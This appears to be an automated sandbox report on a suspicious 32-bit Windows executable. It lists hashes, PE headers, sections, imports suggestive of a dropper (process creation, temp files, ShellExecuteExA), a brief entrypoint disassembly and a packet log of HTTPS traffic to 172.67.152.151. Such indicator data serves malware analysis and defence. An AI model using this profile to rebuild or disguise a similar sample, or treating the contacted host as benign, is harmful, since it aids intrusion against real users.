SHA256:	d433cd0ba6b6850a9f616b3b89754a005699547d4e04fadb75cade770156cfd1
SHA512:	9a2e4c8baa01fbafe6968905daeb8d3b7eb62c09d1d7584e973ad1c23d964093e161a51a7390dfaa598d2657f45ca17bf00b5055aeaf0441f875ddb364741d71
SSDEEP:	786432:i9hj60qHOBbQcVM3sct6C2ubdsUeGXV4yQnb+LQgRkrm12PYfrB:i9kH+o5sG2ysbhrmka
TLSH:	9F8733A4BB7D8DB2E92C5930346D9829AF776C85AE30571B05CA3F190EF01E42D72D4B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..c..........................................@.......................................@................................

File Icon


Icon Hash:	073f27c39393527b

Static PE Info

General

Entrypoint:	0x41c4c3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6388E775 [Thu Dec 1 17:42:13 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	bca9d407c1135efbdfa23b18bb82c966

Entrypoint Preview

Instruction
call 00007F6B64E2E060h
jmp 00007F6B64E2DACFh
jmp 00007F6B64E31CCBh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F6B64E2DCADh
mov dword ptr [esi], 0042B2F4h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0042B2FCh
mov dword ptr [ecx], 0042B2F4h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F6B64E2DC7Ah
mov dword ptr [esi], 0042B310h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0042B318h
mov dword ptr [ecx], 0042B310h
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0042B2D4h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F6B64E30454h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0042B2D4h
push eax
call 00007F6B64E3049Fh
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0042B2D4h
push eax
call 00007F6B64E30488h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34c48	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a000	0x109dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x24b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x30c08	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x248	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2969c	0x29800	9aa6187380ba3f626cbfcab00be92e02	False	0.6114340173192772	data	6.739469189102793	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0xa8ee	0xaa00	d9810b6d1016c5cb02dea65271eb21e7	False	0.37474724264705883	data	4.62117455644981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x3fa0	0x1400	009bea12727dca9a7de51e4ed262a9e6	False	0.2083984375	data	3.9023069969476474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3a000	0x109dc	0x10a00	9a086f0c1ff40446a290c69824f9e1b0	False	0.49437558740601506	data	5.682494437468369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4b000	0x24b4	0x2600	fe7958ff82c9aedb8b7df57a8dfe8573	False	0.6918174342105263	data	6.419839830349565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3a1a0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584			0.4941293032059624
RT_DIALOG	0x3a0e8	0xb8	data	English	United States	0.6684782608695652
RT_GROUP_ICON	0x4a9c8	0x14	data			1.15

Imports

DLL	Import
USER32.dll	CharUpperW, DestroyWindow, PostMessageA, EndDialog, SetTimer, SendMessageA, LoadIconA, KillTimer, DialogBoxParamA, ShowWindow, SetWindowLongA, GetWindowLongA, GetDlgItem, DialogBoxParamW, SetWindowTextW, SetWindowTextA, MessageBoxW, CharUpperA
SHELL32.dll	ShellExecuteExA
OLEAUT32.dll	SysStringLen, SysAllocStringLen, VariantClear
KERNEL32.dll	FindNextFileA, WriteConsoleW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, HeapSize, GetProcessHeap, GetStringTypeW, GetFileType, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindFirstFileExW, HeapReAlloc, LCMapStringW, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, FreeLibraryAndExitThread, ExitThread, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, AreFileApisANSI, MultiByteToWideChar, GetLastError, WideCharToMultiByte, GetModuleFileNameA, GetModuleFileNameW, FreeLibrary, LoadLibraryExW, FormatMessageW, LocalFree, FormatMessageA, ReadFile, SetLastError, WriteFile, SetFileTime, SetFilePointer, SetEndOfFile, CreateFileW, CreateFileA, CloseHandle, GetFileSize, CreateDirectoryW, RemoveDirectoryW, GetTempPathW, GetCurrentThreadId, GetSystemDirectoryW, GetCurrentDirectoryA, SetCurrentDirectoryA, SetFileAttributesW, GetTempPathA, DeleteFileA, DeleteFileW, SetFileAttributesA, GetCurrentDirectoryW, SetCurrentDirectoryW, GetProcAddress, RemoveDirectoryA, GetCurrentProcessId, GetModuleHandleW, CreateDirectoryA, GetTickCount, FindFirstFileW, FindFirstFileA, FindNextFileW, DecodePointer, FindClose, GetFileAttributesW, GetModuleHandleA, GetFileInformationByHandle, GetFileAttributesA, lstrlenW, lstrcatW, GetVersionExA, ReleaseSemaphore, InitializeCriticalSection, WaitForSingleObject, SetEvent, ResetEvent, CreateSemaphoreA, CreateEventA, GetStdHandle, EnterCriticalSection, LeaveCriticalSection, Sleep, DeleteCriticalSection, GetCurrentProcess, GetProcessAffinityMask, GetSystemInfo, GlobalMemoryStatus, IsProcessorFeaturePresent, VirtualFree, VirtualAlloc, GetCommandLineW, CreateThread, CreateProcessW, GetTempFileNameW, CreateProcessA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RaiseException, RtlUnwind

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 11:07:57.148894072 CEST	49678	443	192.168.2.4	104.46.162.224
May 1, 2024 11:07:57.462281942 CEST	49675	443	192.168.2.4	173.222.162.32
May 1, 2024 11:08:05.778656006 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:05.778700113 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:05.778772116 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:05.782377005 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:05.782392979 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:05.985790968 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:05.985897064 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:05.989047050 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:05.989064932 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:05.989463091 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.039400101 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.224476099 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.272115946 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376828909 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376873970 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376895905 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376915932 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376934052 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376955032 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.376980066 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377000093 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377012968 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.377039909 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377069950 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.377527952 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377553940 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377573967 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.377583027 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377610922 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377615929 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.377623081 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.377665997 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.377672911 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378361940 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378387928 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378426075 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378443003 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.378451109 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378477097 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.378498077 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.378519058 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.378523111 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379297018 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379324913 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379347086 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.379354954 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379394054 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.379398108 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379410028 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379452944 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379456997 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.379467010 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.379511118 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.380264997 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380320072 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380352020 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380378008 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380398035 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.380404949 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380413055 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.380429029 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.380454063 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.381158113 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381201982 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381234884 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381257057 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381284952 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.381302118 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381316900 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381328106 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.381335020 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.381355047 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.382611036 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.382661104 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.382668018 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.430005074 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.471000910 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.471147060 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.471622944 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.471664906 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.471752882 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.471816063 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.472425938 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.472467899 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.472496986 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.472508907 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.472523928 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.473297119 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.473350048 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.473359108 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.473397970 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.473401070 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.473408937 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.473436117 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.473436117 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.473468065 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.473475933 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.474442005 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.474471092 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.474484921 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.474493980 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.474512100 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.474529982 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.475208044 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.475267887 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.475311041 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.475363016 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.476326942 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.476356983 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.476378918 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.476389885 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.476409912 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.476428986 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.476809025 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.476896048 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.484669924 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.484775066 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.484888077 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.484940052 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.485018015 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.485064983 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.565057039 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.565130949 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.565619946 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.565665007 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.565726995 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.565771103 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.566173077 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.566221952 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.566240072 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.566282034 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.566970110 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.567011118 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.567050934 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.567081928 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.567094088 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.567106962 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.567121029 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.567138910 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.568027973 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568063974 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568073034 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.568079948 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568109035 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.568125010 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.568911076 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568945885 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568963051 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.568969965 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.568990946 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.569008112 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.569834948 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.569879055 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.570307970 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.570348024 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.570440054 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.570476055 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.571278095 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.571320057 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.571341991 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.571378946 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.572241068 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.572290897 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.572382927 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.572413921 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.572423935 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.572429895 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.572447062 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.572463036 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.573235989 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.573285103 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.574726105 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.574768066 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.574778080 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.574789047 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.574810028 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.574829102 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.576553106 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.576570034 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.576606035 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.576615095 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.576637983 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.576654911 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.578038931 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.578064919 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.578094006 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.578102112 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.578130960 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.579077005 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.579092979 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.579121113 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.579128981 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.579158068 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.580948114 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.580962896 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.581002951 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.581011057 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.581031084 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.582695007 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.582707882 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.582760096 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.582770109 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.584861994 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.584876060 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.584923029 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.584933996 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.633147001 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:06.848118067 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:06.898761034 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:07.070647001 CEST	49675	443	192.168.2.4	173.222.162.32
May 1, 2024 11:08:07.120110989 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:07.122142076 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:07.564114094 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:07.564182043 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051476955 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051501989 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051513910 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051558018 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051584959 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051615953 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051625967 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051634073 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051655054 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051666021 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051677942 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051688910 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051698923 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051706076 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051712036 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051723957 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051726103 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051748037 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051754951 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051774979 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051778078 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051791906 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051810026 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051836967 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051840067 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051856041 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051870108 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051889896 CEST	49730	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:08.051915884 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051934958 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051950932 CEST	443	49730	172.67.152.151	192.168.2.4
May 1, 2024 11:08:08.051954031 CEST	49730	443	192.168.2.4	172.67.152.151
